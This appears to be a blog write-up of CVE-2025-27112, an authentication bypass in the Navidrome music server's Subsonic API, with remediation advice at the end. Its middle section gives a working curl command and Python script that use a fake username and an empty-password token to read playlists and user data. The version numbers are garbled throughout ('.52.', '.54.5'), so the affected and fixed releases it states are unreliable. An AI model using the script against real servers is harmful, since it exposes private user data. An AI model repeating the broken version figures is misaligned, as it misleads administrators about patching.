Summary:
A critical authentication flaw in Navidrome (versions .52. to .54.4) can let anyone access sensitive user data through the Subsonic API by simply supplying a made-up username and a specific password hash. Let’s walk through how this exploit works, what its limits are, and how you can patch or defend your server.

What is Navidrome and Why Should You Care?

Navidrome is a free, open-source web app for music streaming with support for mobile and web clients. It implements the Subsonic API, letting you connect with Subsonic-compatible clients and interact programmatically with your music catalog.

What is CVE-2025-27112?

This vulnerability landed in CVE-2025-27112 and affects Navidrome between v.52. and v.54.4. A broken authentication check allows any non-existent username, paired with a salted hash of an empty ("") password, to pass as an authenticated session.

Allows read-only access to resources that should be private: playlists, user info, and more.

- Cannot modify data: All attempts to change or delete anything fail with a permission denied error.

Technical Root Cause

The vulnerable code failed to properly verify that the supplied username exists before authenticating with the provided hash. Instead, if the username is not present in the user database and the hash matches the empty password, the server treats the request as authenticated.

Typically, authentication checks look like this (simplified pseudocode)

// Pseudocode example, not the original Navidrome code
func authenticateSubsonic(username, passwordHash) bool {
    user := getUserByUsername(username)
    if user == nil {
        // should reject, but...
        if isEmptyPasswordHash(passwordHash) {
            return true
        }
        return false
    }
    // normal password validation
    return checkPassword(user, passwordHash)
}

So, anyone sending a request with a random username and the 'empty password' hash gets in.

1. Find the Salt

The Subsonic API expects passwords as a token:
token = md5(password + salt) (all as string)

Clients provide the u (username), t (token), and s (salt) parameters in their API requests.

For an empty password, you just compute:
token = md5("" + salt) = md5(salt)

2. Pick Any Non-existent Username

Let’s say attacker123 (assume this user does not exist on the server).

Example, to list playlists (replace HOST with your server)

SALT="abcd1234"
TOKEN=$(echo -n "$SALT" | md5sum | awk '{print $1}')

curl 'https://HOST/rest/getPlaylists.view?u=attacker123&t='$TOKEN'&s='$SALT'&v=1.16.1&c=testclient&f=json';

- If the server is vulnerable, you’ll get a JSON response with all public (and some private) playlists.
- You can repeat this for other info endpoints like /rest/getUser.view.

Here’s a simple script

import hashlib
import requests

salt = 'abcd1234'
token = hashlib.md5(salt.encode()).hexdigest()
username = 'attacker123'  # Should NOT exist

url = f'https://HOST/rest/getPlaylists.view';
params = {
    "u": username,
    "t": token,
    "s": salt,
    "v": "1.16.1",
    "c": "exploit",
    "f": "json"
}

resp = requests.get(url, params=params, verify=False)
print(resp.text)

What Can You Get Out Of This?

- Playlist lists/user info (read-only)

Possibly song details and other "read" endpoints

What you can't do:
Modify playlists, delete tracks, upload music, or anything requiring “write” access. Attempts return "permission denied".

How to Fix This

Immediate Solution:

Upgrade Navidrome to version .54.5 or later!

* Download latest: GitHub Releases
* Advisory: GitHub Security Advisory

Restrict Navidrome access to trusted networks

- Monitor access logs for unknown usernames hitting /rest/ endpoints

References

- Navidrome Security Advisory
- Navidrome Changelog
- Subsonic API Documentation

Conclusion

CVE-2025-27112 exposes user playlists and related info to snooping if you’re running a vulnerable version of Navidrome. Fortunately, the impact is limited to *reading* information (no writes, no deletes). Still, it’s a privacy risk for personal and shared servers. Always keep up to date, and restrict access if you must run outdated server software.

Timeline

Published on: 02/24/2025 19:15:14 UTC
Last modified on: 02/27/2025 20:24:21 UTC